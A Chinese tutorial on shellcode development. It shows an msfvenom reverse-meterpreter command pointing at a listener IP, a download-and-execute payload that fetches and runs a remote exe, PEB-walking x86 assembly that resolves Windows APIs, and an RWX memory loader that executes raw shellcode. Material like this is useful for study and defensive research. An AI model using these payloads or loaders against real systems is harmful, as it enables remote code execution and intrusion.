1 认识SHELLCODE
shellcode的本质其实就是一段可以自主运行的代码。它没有任何文件结构,它不依赖任何编译环境,无法像exe一样双击运行,因此需要通过控制程序流程跳转到shellcode地址上去执行shellcode。
exploit主要强调执行控制权,而shellcode更关注于有了控制权之后的功能。因此shellcode更像是exploit的载荷,往往对于不同漏洞来讲exploit是特殊的,而shellcode会具有一些通用性。
2 生成SHELLCODE
2.1 CS生成
可以看到生成一个payload_x64.c
2.2 MSF生成
利用metasploit框架下的msfvenom生成shellcode。
例如:msfvenom -p windows/meterpreter/reverse_http lhost=192.168.67.5 lport=4444 -f c
2.3 PWNTOOLS
https://pwntools-docs-zh.readthedocs.io/zh_CN/dev/shellcraft.html
2.4 ShellcodeCompiler工具
工具地址:https://github.com/NytroRST/ShellcodeCompiler
Source.txt按如下格式填写:
(1)Windows
function URLDownloadToFileA("urlmon.dll");
function WinExec("kernel32.dll");
function ExitProcess("kernel32.dll");
URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
WinExec("bk.exe",0);
ExitProcess(0);
(2)linux
chmod("/root/chmodme",511);
write(1,"Hello, world",12);
kill(1661,9);
getpid();
execve("/usr/bin/burpsuite",0,0);
exit(2);
如下:
3 shellcode开发
3.1 shellcode汇编开发
1)编译器配置
(1)编译器 :Release-x86
(2)调试属性-配置属性-C/C++
(3)调试属性-配置属性-链接器
(4)入口点设置
2)实现核心功能
l获取 kernel32.dll 基地址
l查找GetProcAddress函数的地址
l使用GetProcAddress查找LoadLibrary函数的地址
l使用LoadLibrary加载 DLL(例如kernel32.dll)
l使用GetProcAddress查找函数的地址(例如MessageBox)
l指定函数参数
l调用函数
(1)Find kernel32.dll base address
获取Kernel32基址的方法有TEB查找法,原理是在NT内核系统中,fs寄存器指向TEB结构,TEB+0x30偏移处指向PEB(Process Environment Block)结构,PEB+0x0c偏移处指向PEB_LDR_DATA结构,PEB_LDR_DATA+0x1c偏移处存放着程序加载的动态链接库地址,第1个指向Ntdll.dll,第2个就是Kernel.32.dll的基地址。
xor ecx, ecx
mov eax, fs:[ecx + 0x30] ; EAX = PEB
mov eax, [eax + 0xc] ; EAX = PEB->Ldr
mov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrder
lodsd ; EAX = Second module
xchg eax, esi ; EAX = ESI, ESI = EAX
lodsd ; EAX = Third(kernel32)
mov ebx, [eax + 0x10] ; EBX = Base address
(2)Find the export table of kernel32.dll
从DLL文件中获取API地址的方法如下,
l在DLL基址+3ch偏移处获取e_lfanew的地址,即可得到PE文件头。
l在PE文件头的78h偏移处得到函数导出表的地址。
l在导出表的1ch偏移处获取AddressOfFunctions的地址,在导出表的20h偏移处获取AddressOfNames的地址,在导出表的24h偏移处获取AddressOfNameOrdinalse的地址。
lAddressOfFunctions函数地址数组和AddressOfNames函数名数组通过函数AddressOfName Ordinalse一一对应。
mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew
add edx, ebx ; EDX = PE Header
mov edx, [edx + 0x78] ; EDX = Offset export table
add edx, ebx ; EDX = Export table
mov esi, [edx + 0x20] ; ESI = Offset names table
add esi, ebx ; ESI = Names table
xor ecx, ecx ; EXC = 0
(3)Find GetProcAddress function name
Get_Function:
inc ecx ; Increment the ordinal
lodsd ; Get name offset
add eax, ebx ; Get function name
cmp dword ptr[eax], 0x50746547 ; GetP
jnz Get_Function
cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
jnz Get_Function
cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
jnz Get_Function
(4)Find the address of GetProcAddress function
mov esi, [edx + 0x24] ; ESI = Offset ordinals
add esi, ebx ; ESI = Ordinals table
mov cx, [esi + ecx * 2] ; CX = Number of function
dec ecx
mov esi, [edx + 0x1c] ; ESI = Offset address table
add esi, ebx ; ESI = Address table
mov edx, [esi + ecx * 4] ; EDX = Pointer(offset)
add edx, ebx ; EDX = GetProcAddress
(5)Find the LoadLibrary function address
xor ecx, ecx ; ECX = 0
push ebx ; Kernel32 base address
push edx ; GetProcAddress
push ecx ; 0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp ; "LoadLibrary"
push ebx ; Kernel32 base address
call edx ; GetProcAddress(LL)
(6)Load user32.dll library
add esp, 0xc ; pop "LoadLibraryA"
pop ecx ; ECX = 0
push eax ; EAX = LoadLibraryA
push ecx
mov cx, 0x6c6c ; ll
push ecx
push 0x642e3233 ; 32.d
push 0x72657375 ; user
push esp ; "user32.dll"
call eax ; LoadLibrary("user32.dll")
(7)加载MessageBox
add esp, 0x10 ; Clean stack
mov edx, [esp + 0x4] ; EDX = GetProcAddress
xor ecx, ecx ; ECX = 0
push ecx
mov ecx, 0x6141786f ; oxAa
push ecx
sub dword ptr[esp + 0x3], 0x61 ; Remove "a"
push 0x42656761 ; ageB
push 0x7373654d ; Mess
push esp ;”MessageBoxA”
push eax ; user32.dll address
call edx ; GetProc(MessageBoxA)
(8)调用MessageBoxA
add esp, 0x14 ; Cleanup stack
push 0x0
push 0x0
push 0x0
push 0x0
call eax ; message
(9)结束进程调用,获取 ExitProcess 函数地址
add esp, 0x18 ; 堆栈平衡,call push2次,所以6*4=24
pop edx ; 重新弹出GetProcAddress地址,继续使用该函数来获取ExitProcess
pop ebx ; kernel32.dll base address
mov ecx, 0x61737365 ; essa
push ecx
sub dword ptr [esp + 0x3], 0x61 ; Remove "a"
push 0x636f7250 ; Proc
push 0x74697845 ; Exit
push esp
push ebx ; kernel32.dll base address
call edx ; GetProc(Exec)
(10)调用 ExitProcess 函数,结束自身
xor ecx, ecx ; ECX = 0
push ecx ; Return code = 0
call eax ; ExitProcess
最终的代码如下:
3)提取为bin文件
使用kali中的编译环境
(1)编写汇编代码,保存为 hello.asm
(2)使用 NASM 汇编器将汇编代码转换为目标文件:
nasm -f elf32 hello.asm -o hello.o
(3)使用 ld 链接器将目标文件转换为可执行文件:
ld -m elf_i386 -s -o hello hello.o
(4)使用 objcopy 工具提取 shellcode:
objcopy -O binary --only-section=.text hello shellcode.bin
4)编写加载器测试bin文件
int main(int argc, char* argv[])
{
//打开文件
HANDLE hFile = CreateFileA("shellcode.bin", GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("Oen file error:%d\n", GetLastError);
return -1;
}
DWORD dwSize;
dwSize = GetFileSize(hFile, NULL);
LPVOID lpAddress = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//内存分配是否成功
if (lpAddress == NULL)
{
printf("VirtualAlloc error:%d\n", GetLastError);
CloseHandle(hFile);
return -1;
}
DWORD dwRead;
ReadFile(hFile, lpAddress, dwSize, &dwRead, 0);
//内嵌汇编
__asm
{
call lpAddress
}
_flushall();
system("pause");
return 0;
}
5)提取bin文件测试
右键-编辑-复制为十六进制数值
测试
3.3 shellcode的功能模块
Shellcode分为两个模块,分别是基本模块和功能模块,结构如图所示。
下载执行(Download & Execute),具有这个功能的Shellcode最常被浏览器类漏洞样本使用,其功能就是从指定的URL下载一个exe文件并运行。
捆绑 (Binder),具有这个功能的Shellcode最常见于Office等漏洞样本中,其功能是将捆绑在样本自身上的exe数据释放到指定目录中并运行。
反弹shell,具有这个功能的Shellcode多见于主动型远程溢出漏洞样本中,攻击者可以借助NC等工具,在实施攻击后获取一个远程She以执行任意命令。